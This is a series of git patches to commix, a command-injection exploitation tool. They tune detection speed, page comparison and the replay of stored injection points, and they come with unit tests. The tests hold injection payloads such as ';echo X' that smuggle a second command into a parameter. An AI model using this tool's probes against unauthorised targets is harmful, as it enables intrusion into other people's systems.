the option unused and the + # parameters it was meant to split reported as absent. + if menu.options.pdel: + menu.options.pdel = checks.decode_string_escape(menu.options.pdel) + # Check if defined "--ignore-code" option. if menu.options.ignore_code: wildcard = menu.options.ignore_code.strip() == settings.IGNORE_CODE_WILDCARD diff --git a/src/utils/settings.py b/src/utils/settings.py index fffbe8e2e1..c0d93abf61 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "308" +REVISION = "309" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_checks.py b/tests/test_checks.py index 74039d62aa..f2bb26e0e2 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -425,6 +425,29 @@ def test_nothing_is_said_where_the_real_value_was_used(self): def test_nothing_is_said_where_there_is_no_value_to_name(self): self.assertNotIn("was not required", self.summarise(True, "")) +class EscapesInAnOptionValue(unittest.TestCase): + """ + A value given as an escape, where the shell would have eaten the character itself. + """ + def test_a_whitespace_escape_becomes_the_character(self): + self.assertEqual("\n", checks.decode_string_escape("\\n")) + self.assertEqual("\t", checks.decode_string_escape("\\t")) + self.assertEqual("\r", checks.decode_string_escape("\\r")) + + def test_it_is_decoded_in_place(self): + self.assertEqual("a\tb", checks.decode_string_escape("a\\tb")) + + def test_an_escaped_backslash_shields_what_follows(self): + # Two passes would read this as a newline; one pass leaves the text it stands for. + self.assertEqual("\\n", checks.decode_string_escape("\\\\n")) + + def test_a_value_with_no_escape_is_handed_back_as_it_is(self): + for value in ("&", ";", "plain", "", None): + self.assertEqual(value, checks.decode_string_escape(value)) + + def test_a_non_ascii_byte_is_not_an_escape(self): + self.assertEqual("\u00a7", checks.decode_string_escape("\u00a7")) + class ReflectionsTheTargetRewrote(unittest.TestCase): """ Taking the payload back out of a page that did not hand it back verbatim. From 96553ed4be1cab4227524f8918b5c29189a74c89 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 11 Nov 2026 06:32:31 +0200 Subject: [PATCH 0983/1023] Added skipping of the parameter's own value during detection where the sink is reached without it, affecting how long a scan takes against a target that works with that value --- src/core/controller/controller.py | 85 +++++++++++++++++++++++++++++++ src/utils/settings.py | 11 +++- tests/test_checks.py | 66 ++++++++++++++++++++++++ 3 files changed, 161 insertions(+), 1 deletion(-) diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 905d493a4f..baf3189d18 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -232,6 +232,58 @@ def announce_heuristic_finding(detail): """ Heuristic (basic) test for command injection """ +""" +Whether the parameter's own value is needed to reach the sink, asked while the heuristic still holds +the payload that reached it. + +The value belongs to the target, and what the target does with it is what takes the time: an address +it pings answers in seconds where one it cannot resolve answers at once, and a scan sends hundreds of +requests before it is finished. The same question asked twice, once with the value and once with a +short random one, says whether any of that waiting buys anything. + +Asked here rather than once a technique is confirmed, which is where it was asked before: by then the +heuristics, every boundary and the whole timing model have been paid for at the slow value's price, +and only what came after could be made cheap. + +Nothing is assumed from it. The value is dropped only where the same marker comes back without it, +the sink having demonstrably run either way - and where the pass that follows confirms nothing at +all, the value is put back and the pass is made again, so no sink is lost to an optimisation. +""" +def probe_skip_testable_value_early(url, http_request_method, check_parameter, payload, whitespace, place): + if settings.TESTABLE_VALUE_OPTIMIZED or not settings.TESTABLE_VALUE or settings.VALUE_SKIP_REFUSED: + return url + marker = settings.TESTABLE_VALUE + settings.INJECT_TAG + in_data = bool(menu.options.data) and marker in menu.options.data + in_url = marker in url + if not in_data and not in_url: + return url + placeholder = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) + original_data, original_url, original_value = menu.options.data, url, settings.TESTABLE_VALUE + if in_data: + menu.options.data = menu.options.data.replace(marker, placeholder + settings.INJECT_TAG) + else: + url = url.replace(marker, placeholder + settings.INJECT_TAG) + settings.TESTABLE_VALUE = placeholder + answered = False + try: + response, _ = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place) + if type(response) is not bool and response is not None: + html_data = checks.process_page_content(response, action="decode") + answered = bool(re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data)) + except Exception: + answered = False + if not answered: + menu.options.data = original_data + settings.TESTABLE_VALUE = original_value + return original_url + settings.TESTABLE_VALUE_OPTIMIZED = True + settings.VALUE_SKIPPED_EARLY = (original_value, placeholder, original_url, original_data) + session_handler.import_testable_value_status(url, check_parameter, http_request_method, placeholder) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The parameter's own value is not required to reach the sink, so it is skipped for faster requests." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return url + def command_injection_heuristic_basic(url, http_request_method, check_parameter, place): check_parameter = check_parameter.lstrip().rstrip() checks.perform_payload_modification(payload="") @@ -266,6 +318,9 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: settings.IDENTIFIED_COMMAND_INJECTION = True + # Asked while the payload that answered is still in hand, and before a technique has + # spent a single request at the slow value's price. + url = probe_skip_testable_value_early(url, http_request_method, check_parameter, payload, whitespace, place) # The token the rest of the code compares against, and then what was really shown. checks.set_target_os(shell_os) # A payload that ran answers what the banner could not, so nothing need be asked. @@ -824,6 +879,10 @@ def injection_process(url, check_parameter, http_request_method, filename, times # replaces it is reached per parameter, and exploitation follows within this same call, so leaving # the mode set would only decide how the parameters after this one are tested. settings.REPLACE_VALUE = False + # Every parameter is asked the value question for itself: one that needed its value says nothing + # about the next, and a refusal carried over would have the next parameter pay the slow price too. + settings.VALUE_SKIPPED_EARLY = None + settings.VALUE_SKIP_REFUSED = False # Named with '--param-filter': a parameter is tested only where it travels in one of the places # asked for, and nothing is said about the rest - naming them is saying which ones matter. if settings.PARAM_FILTER_PLACES and str(place).upper() not in settings.PARAM_FILTER_PLACES: @@ -1304,6 +1363,32 @@ def _accepts_dashless_retry(): if checks.injection_techniques_status() is False: settings.REPLACE_VALUE = False + """ + The optimisation put back, where the pass that took it confirmed nothing. + + Dropping the value is an optimisation and never evidence: the heuristic showed the sink runs + without it, which is not the same as every technique reaching that sink without it. A target + that validates what it is given can answer the heuristic and still take another path once the + value is three random letters, and a run that stopped there would report a parameter as not + injectable on the strength of a request it sent in order to go faster. + + So the value goes back and the pass is made again, at the price it would have cost all along. + Refused afterwards, so the probe does not drop it a second time and send this round in a loop. + """ + if not end_detection and checks.injection_techniques_status() is False and settings.VALUE_SKIPPED_EARLY: + original_value, placeholder, original_url, original_data = settings.VALUE_SKIPPED_EARLY + settings.VALUE_SKIPPED_EARLY = None + settings.VALUE_SKIP_REFUSED = True + settings.TESTABLE_VALUE_OPTIMIZED = False + settings.TESTABLE_VALUE = original_value + menu.options.data = original_data + url = original_url + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Nothing was confirmed without the parameter's own value, so it is restored and tested again." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + _reset_web_root_detection() + end_detection = _run_and_verify() + # All injection techniques seems to be failed! if checks.injection_techniques_status() is False: warn_msg = settings.CHECKING_PARAMETER diff --git a/src/utils/settings.py b/src/utils/settings.py index c0d93abf61..7b8b3a9793 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "309" +REVISION = "310" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -889,6 +889,15 @@ class OS(object): # Whether TESTABLE_VALUE has already been swapped for a disposable placeholder for this parameter. TESTABLE_VALUE_OPTIMIZED = False +# What the early probe put aside when it dropped the parameter's own value: the value, what stands in +# for it, and the request as it read beforehand - so a pass that confirms nothing can be made again +# with the value back in place rather than written off on the strength of an optimisation. +VALUE_SKIPPED_EARLY = None + +# Set once the value has been put back and the pass made again, so the probe does not drop it a +# second time and send the run round the same loop. +VALUE_SKIP_REFUSED = False + """ Whether the payload stands in place of the parameter's own value rather than behind it. diff --git a/tests/test_checks.py b/tests/test_checks.py index f2bb26e0e2..fe53ef0c66 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -425,6 +425,72 @@ def test_nothing_is_said_where_the_real_value_was_used(self): def test_nothing_is_said_where_there_is_no_value_to_name(self): self.assertNotIn("was not required", self.summarise(True, "")) +class ValueSkippedOnlyOnEvidence(unittest.TestCase): + """ + Dropping the parameter's own value is an optimisation, so it is taken only where the sink answered + without it - and put back wherever it was taken and nothing was confirmed. + """ + def setUp(self): + from src.core.controller import controller + self.controller = controller + self._state = (settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_OPTIMIZED, + settings.VALUE_SKIPPED_EARLY, settings.VALUE_SKIP_REFUSED, menu.options.data) + self._request = controller.heuristic_request + self._out = settings.print_data_to_stdout + settings.print_data_to_stdout = lambda *a, **k: None + settings.TESTABLE_VALUE = "127.0.0.1" + settings.TESTABLE_VALUE_OPTIMIZED = False + settings.VALUE_SKIPPED_EARLY = None + settings.VALUE_SKIP_REFUSED = False + menu.options.data = None + + def tearDown(self): + (settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_OPTIMIZED, settings.VALUE_SKIPPED_EARLY, + settings.VALUE_SKIP_REFUSED, menu.options.data) = self._state + self.controller.heuristic_request = self._request + settings.print_data_to_stdout = self._out + + def answer(self, with_marker): + class _Response(object): + def read(self): + return b"" + def _request(url, http_request_method, check_parameter, payload, whitespace, place): + return (_Response() if with_marker else False), url + self.controller.heuristic_request = _request + original = checks.process_page_content + checks.process_page_content = lambda response, action=None: "ok" if not with_marker else "uid=0(root) gid=0(root)" + try: + return self.controller.probe_skip_testable_value_early( + "http://t/a.php?addr=127.0.0.1" + settings.INJECT_TAG, "GET", "addr", ";echo X", " ", None) + finally: + checks.process_page_content = original + + def test_a_sink_that_answered_without_it_has_it_dropped(self): + url = self.answer(with_marker=True) + self.assertTrue(settings.TESTABLE_VALUE_OPTIMIZED) + self.assertNotIn("127.0.0.1", url) + self.assertIsNotNone(settings.VALUE_SKIPPED_EARLY) + + def test_a_sink_that_did_not_answer_keeps_it(self): + url = self.answer(with_marker=False) + self.assertFalse(settings.TESTABLE_VALUE_OPTIMIZED) + self.assertEqual("127.0.0.1", settings.TESTABLE_VALUE) + self.assertIn("127.0.0.1", url) + self.assertIsNone(settings.VALUE_SKIPPED_EARLY) + + def test_what_is_put_aside_restores_the_request_as_it_read(self): + self.answer(with_marker=True) + original_value, placeholder, original_url, original_data = settings.VALUE_SKIPPED_EARLY + self.assertEqual("127.0.0.1", original_value) + self.assertIn("127.0.0.1", original_url) + self.assertEqual(3, len(placeholder)) + + def test_it_is_not_dropped_a_second_time_once_refused(self): + settings.VALUE_SKIP_REFUSED = True + url = self.answer(with_marker=True) + self.assertFalse(settings.TESTABLE_VALUE_OPTIMIZED) + self.assertIn("127.0.0.1", url) + class EscapesInAnOptionValue(unittest.TestCase): """ A value given as an escape, where the shell would have eaten the character itself. From 4d57dbd53abcef7e0a1623e5279c7914d1c7fb7c Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 11 Nov 2026 06:34:35 +0200 Subject: [PATCH 0984/1023] Fixed several issues regarding the options that tell a true page from a false one, affecting the boolean-based technique --- doc/CHANGELOG.md | 2 ++ src/core/controller/checks.py | 16 ++++++++- src/core/options.py | 24 ++++++++++++++ src/core/parse/cmdline.py | 6 ++++ src/utils/settings.py | 2 +- tests/test_checks.py | 62 +++++++++++++++++++++++++++++++++++ 6 files changed, 110 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 430da28436..27f54a804b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.2 (TBA) +* Fixed: The switch `--null-connection`, which reads no page body, was left to run alongside an option that reads one (`--string`, `--not-string`, `--regexp`, `--text-only`, `--titles`), leaving every boolean answer the same. +* Added: New switch `--titles`, comparing pages by their title alone - for a target whose page moves by itself everywhere except the line naming what it rendered. * Fixed: Payload generation for certain separator and tamper script combinations, which could produce a payload the shell cannot run. * Fixed: Retrieval of non-ASCII execution output, which could come back incomplete. * Added: An offline test suite, run with `python -m unittest discover -s tests -t .`, covering the payload builders, the tamper scripts, the evaluator grammars and the word lists. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 1617d6365e..d75dfa4715 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1616,11 +1616,25 @@ def remove_dynamic_content(page): page = re.sub(r"(?s)" + re.escape(prefix) + r".+?" + re.escape(suffix), prefix.replace("\\", r"\\") + suffix.replace("\\", r"\\"), page) return page +""" +The page's own title, or nothing where it has none. + +A page can carry a counter, a session id and an advert and still be the same page, while its title is +the one line that names what the target decided to render - so where everything else moves, the title +is what a yes and a no can still be told apart by. +""" +def page_title(page): + match = re.search(r"(?i)<title\b[^>]*>(?P<result>[^<]*)", page or "") + return (match.group("result") or "").strip() if match else "" + """ The page as it is worth comparing: without the regions that move by themselves, and - where -'--text-only' was given - without the layout they sit in either. +'--text-only' was given - without the layout they sit in either, or - where '--titles' was given - +nothing but the line that names what was rendered. """ def comparable_page(page): + if menu.options.titles: + return page_title(page) if menu.options.text_only: page = filtered_page_content(page) return remove_dynamic_content(page) diff --git a/src/core/options.py b/src/core/options.py index 8da6a73367..7a0785fc69 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -161,6 +161,30 @@ def validate(): raise SystemExit(settings.EXIT_FAILURE) checks.set_anticsrf_token(menu.options.csrf_token) + """ + A question the oracle could not answer, refused before it is asked. + + '--null-connection' reads the length off the header and never reads a body, which is the whole + point of it - so a discriminator that looks inside the body has nothing to look at. Left to run, + '--string' and '--regexp' find nothing in an empty page and every answer reads no, while + '--not-string' finds nothing to object to and every answer reads yes: a constant the oracle then + calibrates on, and a retrieval built on a constant is invented rather than read. + + Dropped rather than refused, since the two were given for the same end - telling a yes from a no - + and the one that can still be answered is the one to keep. + """ + if menu.options.null_connection: + body_bound = [name for name, given in (("--string", menu.options.string), + ("--not-string", menu.options.not_string), + ("--regexp", menu.options.regexp), + ("--text-only", menu.options.text_only), + ("--titles", menu.options.titles)) if given] + if body_bound: + menu.options.null_connection = False + warn_msg = "The switch '--null-connection' reads no page body, so it cannot be used with " + warn_msg += ', '.join("'" + name + "'" for name in body_bound) + ". Skipping it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + checks.parse_param_encoding() checks.absorb_encoding_tampers() diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index b5e6443c54..467c3244bb 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -1061,6 +1061,12 @@ def banner(): default=False, help="Skip testing the parameter(s) that do not appear to be dynamic.") +detection.add_option("--titles", + action="store_true", + dest="titles", + default=False, + help="Compare pages based only on their titles.") + detection.add_option("--text-only", action="store_true", dest="text_only", diff --git a/src/utils/settings.py b/src/utils/settings.py index 7b8b3a9793..0945ca35d4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "310" +REVISION = "311" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_checks.py b/tests/test_checks.py index fe53ef0c66..e00386b95c 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -425,6 +425,68 @@ def test_nothing_is_said_where_the_real_value_was_used(self): def test_nothing_is_said_where_there_is_no_value_to_name(self): self.assertNotIn("was not required", self.summarise(True, "")) +class PagesComparedByTitleAlone(unittest.TestCase): + """ + What '--titles' compares, where everything around the title moves by itself. + """ + def setUp(self): + self._titles, self._text_only = menu.options.titles, menu.options.text_only + menu.options.titles, menu.options.text_only = True, False + + def tearDown(self): + menu.options.titles, menu.options.text_only = self._titles, self._text_only + + def test_the_title_is_what_is_left(self): + page = " Results for 1 counter 4821" + self.assertEqual("Results for 1", checks.comparable_page(page)) + + def test_the_tag_is_found_whatever_its_case(self): + self.assertEqual("No results", checks.page_title("No results")) + + def test_a_page_with_no_title_compares_as_nothing(self): + self.assertEqual("", checks.comparable_page("no title here")) + + def test_two_pages_differing_only_below_the_title_read_as_one(self): + a = "Samecounter 1" + b = "Samecounter 9999" + self.assertEqual(checks.comparable_page(a), checks.comparable_page(b)) + + def test_two_pages_differing_in_the_title_do_not(self): + a = "Foundx" + b = "Nothingx" + self.assertNotEqual(checks.comparable_page(a), checks.comparable_page(b)) + +class NullConnectionIsNotAskedWhatItCannotSee(unittest.TestCase): + """ + A length read off a header cannot answer a question about the body it did not fetch. + """ + OPTIONS = ("string", "not_string", "regexp", "text_only", "titles") + + def setUp(self): + from src.core import options as commix_options + self.commix_options = commix_options + self._saved = dict((name, getattr(menu.options, name)) for name in self.OPTIONS) + self._null = menu.options.null_connection + self._out = settings.print_data_to_stdout + self.printed = [] + settings.print_data_to_stdout = lambda line: self.printed.append(str(line)) + + def tearDown(self): + for name, value in self._saved.items(): + setattr(menu.options, name, value) + menu.options.null_connection = self._null + settings.print_data_to_stdout = self._out + + def test_the_oracle_cannot_answer_a_body_question_without_a_body(self): + # Why the guard exists: every answer is the same answer, whichever way it is fixed. + settings.BOOLEAN_TRUE_LENGTH, settings.BOOLEAN_FALSE_LENGTH = 1000, 900 + for name in ("string", "not_string", "regexp"): + for other in ("string", "not_string", "regexp", "code"): + setattr(menu.options, other, None) + setattr(menu.options, name, "root" if name != "regexp" else "ro+t") + answers = set(checks.boolean_oracle(None, 200, page_length=_) for _ in (1000, 900, 950)) + self.assertEqual(1, len(answers), name + " gave more than one answer without a body") + class ValueSkippedOnlyOnEvidence(unittest.TestCase): """ Dropping the parameter's own value is an optimisation, so it is taken only where the sink answered From eca283aaf452b91cbaa5416d092521583839f2ae Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 Nov 2026 16:59:35 +0200 Subject: [PATCH 0985/1023] Fixed several issues regarding the replay of stored injection points, affecting the recorded stand-in for a skipped parameter value and the precedence of a user-supplied `--prefix` option --- src/core/controller/controller.py | 3 +- src/utils/session_handler.py | 58 ++++++++--- src/utils/settings.py | 2 +- tests/test_session.py | 159 ++++++++++++++++++++++++++++++ 4 files changed, 209 insertions(+), 13 deletions(-) create mode 100644 tests/test_session.py diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index baf3189d18..a0e384fe6c 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -278,7 +278,8 @@ def probe_skip_testable_value_early(url, http_request_method, check_parameter, p return original_url settings.TESTABLE_VALUE_OPTIMIZED = True settings.VALUE_SKIPPED_EARLY = (original_value, placeholder, original_url, original_data) - session_handler.import_testable_value_status(url, check_parameter, http_request_method, placeholder) + # Not recorded in the session here: what the sink answered is not yet what a technique confirmed, + # and a stand-in this run goes on to refuse would be left for the next one to replay. if settings.VERBOSITY_LEVEL != 0: debug_msg = "The parameter's own value is not required to reach the sink, so it is skipped for faster requests." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 45d9f664f6..adb11d798d 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -332,6 +332,15 @@ def import_injection_points(url, technique, injection_type, filename, separator, "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) conn.commit() + # Any stand-in for the parameter's value is recorded with the finding rather than before it, so + # the two cannot disagree on a replay: a run that dropped the value, confirmed nothing and put + # it back arrives here un-optimised, and the row is cleared instead of outliving its refusal. + if vuln_parameter: + if settings.TESTABLE_VALUE_OPTIMIZED and settings.TESTABLE_VALUE: + import_testable_value_status(url, vuln_parameter, http_request_method, settings.TESTABLE_VALUE) + else: + clear_testable_value_status(url, vuln_parameter, http_request_method) + # Mark injection checker as True to indicate session contains injection data if not settings.INJECTION_CHECKER: settings.INJECTION_CHECKER = True @@ -959,6 +968,21 @@ def import_testable_value_status(url, vuln_parameter, http_request_method, place except (sqlite3.OperationalError, sqlite3.DatabaseError): pass +""" +Forget a stand-in recorded for this parameter, where the point was found with its own value +instead - the two cannot both describe the same finding. +""" +def clear_testable_value_status(url, vuln_parameter, http_request_method): + try: + with _session_connection() as conn: + table = table_name(url) + "_tv" + if not table_exists(conn, table): + return + conn.execute("DELETE FROM \"" + table + "\" WHERE vuln_parameter = ? AND http_request_method = ?;", (vuln_parameter, http_request_method)) + conn.commit() + except (sqlite3.OperationalError, sqlite3.DatabaseError): + pass + """ Retrieve a previously confirmed testable-value placeholder. Returns None if nothing is stored. """ @@ -980,23 +1004,35 @@ def reapply_testable_value(url, vuln_parameter, http_request_method, prefix=None placeholder = check_stored_testable_value(url, vuln_parameter, http_request_method) if not placeholder: return (url, prefix) if prefix is not None else url - # Use the reloaded row's value; settings.TESTABLE_VALUE may already be a placeholder. tag_pattern = r'([^&=]*)' + re.escape(settings.INJECT_TAG) + # What the request being replayed carries in place of the value, which says what it was found with. + carried = None if menu.options.data and settings.INJECT_TAG in menu.options.data: match = re.search(tag_pattern, menu.options.data) - if match and match.group(1) != placeholder: - menu.options.data = menu.options.data.replace(match.group(1) + settings.INJECT_TAG, placeholder + settings.INJECT_TAG) - settings.TESTABLE_VALUE = placeholder - settings.TESTABLE_VALUE_OPTIMIZED = True + if match: + # The body is the one given now, not the stored one, so it carries the value and is rewritten. + carried = match.group(1) + if carried != placeholder: + menu.options.data = menu.options.data.replace(carried + settings.INJECT_TAG, placeholder + settings.INJECT_TAG) elif settings.INJECT_TAG in url: match = re.search(tag_pattern, url) - if match and match.group(1) != placeholder: - url = url.replace(match.group(1) + settings.INJECT_TAG, placeholder + settings.INJECT_TAG) - settings.TESTABLE_VALUE = placeholder - settings.TESTABLE_VALUE_OPTIMIZED = True + if match: + carried = match.group(1) + # The address is the stored finding's own, so one carrying anything but the stand-in was found + # without it - whatever an older row, written before the finding was, still says. + if carried != placeholder: + return (url, prefix) if prefix is not None else url + if carried is None: + return (url, prefix) if prefix is not None else url + # Only the value being stood in for is rewritten: a prefix naming anything else is the boundary's + # own or the one '--prefix' asked for, and standing in for that sends a payload nobody asked for. if prefix is not None and prefix and prefix != placeholder: - prefix = placeholder - settings.TESTABLE_VALUE_OPTIMIZED = True + if prefix == settings.TESTABLE_VALUE: + prefix = placeholder + else: + announce_replay_conflict(prefix, menu.options.prefix, "prefix", "--prefix") + settings.TESTABLE_VALUE = placeholder + settings.TESTABLE_VALUE_OPTIMIZED = True return (url, prefix) if prefix is not None else url """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 0945ca35d4..55add55550 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "311" +REVISION = "312" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_session.py b/tests/test_session.py new file mode 100644 index 0000000000..02eb3c23e7 --- /dev/null +++ b/tests/test_session.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import shutil +import sqlite3 +import tempfile +import unittest + +from tests import _testutils +from src.core.parse import cmdline as menu +from src.utils import settings +from src.utils import session_handler + +class SessionFixture(unittest.TestCase): + """ + A session file of its own per test, and the globals a stored finding is read back against. + """ + URL = "http://t/a.php?addr=127.0.0.1" + + def setUp(self): + self._dir = tempfile.mkdtemp(prefix="commix-session-") + self._state = (settings.SESSION_FILE, settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_OPTIMIZED, + menu.options.data, menu.options.prefix, menu.options.ignore_session, + menu.options.flush_session, settings.REPLAY_NOTICES_SAID) + self._out = settings.print_data_to_stdout + self.said = [] + settings.print_data_to_stdout = self.said.append + settings.SESSION_FILE = os.path.join(self._dir, "session.db") + settings.TESTABLE_VALUE = "127.0.0.1" + settings.TESTABLE_VALUE_OPTIMIZED = False + settings.REPLAY_NOTICES_SAID = set() + menu.options.data = None + menu.options.prefix = None + menu.options.ignore_session = False + menu.options.flush_session = False + + def tearDown(self): + (settings.SESSION_FILE, settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_OPTIMIZED, + menu.options.data, menu.options.prefix, menu.options.ignore_session, + menu.options.flush_session, settings.REPLAY_NOTICES_SAID) = self._state + settings.print_data_to_stdout = self._out + shutil.rmtree(self._dir, ignore_errors=True) + + def stored_placeholder(self): + return session_handler.check_stored_testable_value(self.URL, "addr", "GET") + +class AStandInIsRememberedOnlyWhereItHeld(SessionFixture): + """ + The parameter's own value is dropped on what the heuristic answered, and a technique may still + need it back. What the session records has to be what the stored finding was made with. + """ + def store(self, optimized, value): + settings.TESTABLE_VALUE_OPTIMIZED = optimized + settings.TESTABLE_VALUE = value + session_handler.import_injection_points( + self.URL, settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.INJECTION_TYPE.RESULTS_BASED_CI, + "", ";", True, "addr", value, "", "TAG", False, value + ";echo TAG;", "GET", 0, 0, 0, 0, "1") + + def test_a_stand_in_the_finding_was_made_with_is_recorded(self): + self.store(optimized=True, value="ABC") + self.assertEqual("ABC", self.stored_placeholder()) + + def test_a_finding_made_with_the_value_records_none(self): + self.store(optimized=False, value="127.0.0.1") + self.assertIsNone(self.stored_placeholder()) + + def test_one_refused_afterwards_is_forgotten_rather_than_left_behind(self): + self.store(optimized=True, value="ABC") + # What the restore-and-retry path leaves: the value put back, the point found with it. + self.store(optimized=False, value="127.0.0.1") + self.assertIsNone(self.stored_placeholder()) + + def test_the_probe_alone_records_nothing(self): + from src.core.controller import controller + self.assertNotIn("import_testable_value_status", + controller.probe_skip_testable_value_early.__code__.co_names) + +class AReplayUsesWhatTheFindingWasMadeWith(SessionFixture): + """ + A stand-in is put back into the request being replayed, and nothing else is. + """ + def tagged(self, value): + return "http://t/a.php?addr=" + value + settings.INJECT_TAG + + def test_a_stored_stand_in_is_put_back_into_the_body(self): + session_handler.import_testable_value_status(self.URL, "addr", "GET", "ABC") + menu.options.data = "addr=127.0.0.1" + settings.INJECT_TAG + session_handler.reapply_testable_value(self.URL, "addr", "GET") + self.assertEqual("addr=ABC" + settings.INJECT_TAG, menu.options.data) + self.assertEqual("ABC", settings.TESTABLE_VALUE) + self.assertTrue(settings.TESTABLE_VALUE_OPTIMIZED) + + def test_an_address_already_carrying_it_is_left_as_it_is(self): + session_handler.import_testable_value_status(self.URL, "addr", "GET", "ABC") + url = session_handler.reapply_testable_value(self.tagged("ABC"), "addr", "GET") + self.assertEqual(self.tagged("ABC"), url) + self.assertEqual("ABC", settings.TESTABLE_VALUE) + + def test_a_finding_made_with_the_value_is_not_rewritten_by_an_older_row(self): + # A session file written before the stand-in was recorded with the finding can hold one the run + # went on to refuse. The address says which value the stored finding was made with. + session_handler.import_testable_value_status(self.URL, "addr", "GET", "ABC") + url, prefix = session_handler.reapply_testable_value(self.tagged("127.0.0.1"), "addr", "GET", "127.0.0.1") + self.assertEqual(self.tagged("127.0.0.1"), url) + self.assertEqual("127.0.0.1", prefix) + self.assertFalse(settings.TESTABLE_VALUE_OPTIMIZED) + + def test_nothing_is_done_where_no_stand_in_was_recorded(self): + url, prefix = session_handler.reapply_testable_value(self.tagged("127.0.0.1"), "addr", "GET", "ZZZ") + self.assertEqual(self.tagged("127.0.0.1"), url) + self.assertEqual("ZZZ", prefix) + +class APrefixOfTheUsersOwnOutranksTheStandIn(SessionFixture): + """ + '--prefix' names what goes in front of the payload. A stand-in for the parameter's value is not + that, and replacing one with the other sends a payload nobody asked for. + """ + def setUp(self): + SessionFixture.setUp(self) + session_handler.import_testable_value_status(self.URL, "addr", "GET", "ABC") + self.url = "http://t/a.php?addr=ABC" + settings.INJECT_TAG + + def test_the_value_it_stands_in_for_is_the_only_prefix_rewritten(self): + url, prefix = session_handler.reapply_testable_value(self.url, "addr", "GET", "127.0.0.1") + self.assertEqual("ABC", prefix) + + def test_a_prefix_naming_something_else_is_kept(self): + url, prefix = session_handler.reapply_testable_value(self.url, "addr", "GET", "ZZZ") + self.assertEqual("ZZZ", prefix) + + def test_a_boundary_prefix_is_kept(self): + url, prefix = session_handler.reapply_testable_value(self.url, "addr", "GET", "\")") + self.assertEqual("\")", prefix) + + def test_a_prefix_given_now_against_a_stored_one_is_said_out_loud(self): + menu.options.prefix = "YYY" + session_handler.reapply_testable_value(self.url, "addr", "GET", "ZZZ") + self.assertTrue(any("prefix" in str(_) and "YYY" in str(_) for _ in self.said)) + + def test_the_same_prefix_as_the_stored_one_is_said_nothing_about(self): + menu.options.prefix = "ZZZ" + session_handler.reapply_testable_value(self.url, "addr", "GET", "ZZZ") + self.assertEqual([], self.said) + +if __name__ == "__main__": + unittest.main() From b0ddbdd99961c4059d5257c0fa2ca855934402ee Mon 